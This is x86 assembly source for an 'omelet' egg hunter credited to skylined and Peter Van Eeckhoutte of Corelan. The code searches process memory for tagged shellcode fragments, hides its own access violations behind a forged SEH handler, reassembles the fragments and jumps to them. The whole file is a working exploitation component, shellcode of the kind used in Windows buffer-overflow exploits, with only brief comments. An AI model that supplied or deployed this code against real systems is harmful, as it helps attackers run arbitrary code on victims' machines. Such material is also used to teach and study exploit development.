BITS 32

; egg:
; LL II M1 M2 M3 DD DD DD ... (LL * DD)
; LL == Size of eggs (same for all eggs)
; II == Index of egg (different for each egg)
; M1,M2,M3 == Marker byte (same for all eggs)
; DD == Data in egg (different for each egg)

; Original code by skylined
; Code tweaked by Peter Van Eeckhoutte
; peter.ve[at]corelan.be
; http://www.corelan.be:8800

marker equ 0x280876
egg_size equ 0x3
max_index equ 0x2
start:
  mov ebx,0xffffffff-egg_size+1 ; ** Added : put initial counter in EBX
  jmp     SHORT reset_stack

create_SEH_handler:
  PUSH    ECX                     ; SEH_frames[0].nextframe == 0xFFFFFFFF
  MOV     [FS:EAX], ESP           ; SEH_chain -> SEH_frames[0]
  CLD                             ; SCAN memory upwards from 0
scan_loop:
  MOV     AL, egg_size            ; EAX = egg_size
egg_size_location equ $-1 - $$
  REPNE   SCASB                   ; Find the first byte
  PUSH    EAX                     ; Save egg_size
  MOV     ESI, EDI
  LODSD                           ; EAX = II M2 M3 M4
  XOR     EAX, (marker << 8) + 0xFF  ; EDX = (II M2 M3 M4) ^ (FF M2 M3 M4) 
	                             ;    == egg_index
marker_bytes_location equ $-3 - $$
  CMP     EAX, BYTE max_index     ; Check if the value of EDX is < max_index
max_index_location equ $-1 - $$
  JA      reset_stack             ; No -> This was not a marker, continue scan
  POP     ECX                     ; ECX = egg_size
  IMUL    ECX                     ; EAX = egg_size * egg_index == egg_offset
  ; EDX = 0 because ECX * EAX is always less than 0x1,000,000
  ADD     EAX, [BYTE FS:EDX + 8]   ; EDI += Bottom of stack ==                                         
	                            ;      position of egg in shellcode.
  XCHG    EAX, EDI
copy_loop:
  REP     MOVSB                   ; copy egg to basket
  CMP     EBX, 0xFFFFFFFF         ; ** Added : see if we have found all eggs
  JE      done                    ; ** Added : If we have found all eggs,                                        
                                  ; ** jump to shellcode
  INC     EBX                     ; ** Added : increment EBX                                         
                                  ; (if we are not at the end of the eggs)
  MOV     EDI, ESI                ; EDI = end of egg

reset_stack:
; Reset the stack to prevent problems cause by recursive SEH handlers and set
; ourselves up to handle and AVs we may cause by scanning memory:
  XOR     EAX, EAX                ; EAX = 0
  MOV     ECX, [FS:EAX]           ; EBX = SEH_chain => SEH_frames[X]
find_last_SEH_loop:
  MOV     ESP, ECX                ; ESP = SEH_frames[X]
  POP     ECX                     ; EBX = SEH_frames[X].next_frame
  CMP     ECX, 0xFFFFFFFF         ; SEH_frames[X].next_frame == none ?
  JNE     find_last_SEH_loop      ; No "X -= 1", check next frame
  POP     EDX                     ; EDX = SEH_frames[0].handler
  CALL    create_SEH_handler      ; SEH_frames[0].handler == SEH_handler

SEH_handler:
  POPA                            ; ESI = [ESP + 4] ->                                         
                                  ;     struct exception_info
  LEA     ESP, [BYTE ESI+0x18]    ; ESP = struct exception_info->exception_addr
  POP     EAX                     ; EAX = exception address 0x????????
  OR      AX, 0xFFF               ; EAX = 0x?????FFF
  INC     EAX                     ; EAX = 0x?????FFF + 1 -> next page
  JS      done                    ; EAX > 0x7FFFFFFF ===> done
  XCHG    EAX, EDI                ; EDI => next page
  JMP     reset_stack
done:
  XOR     EAX, EAX                ; EAX = 0
  CALL    [BYTE FS:EAX + 8]       ; EDI += Bottom of stack 
                                  ;    == position of egg in shellcode.

    db      marker_bytes_location
    db      max_index_location
    db      egg_size_location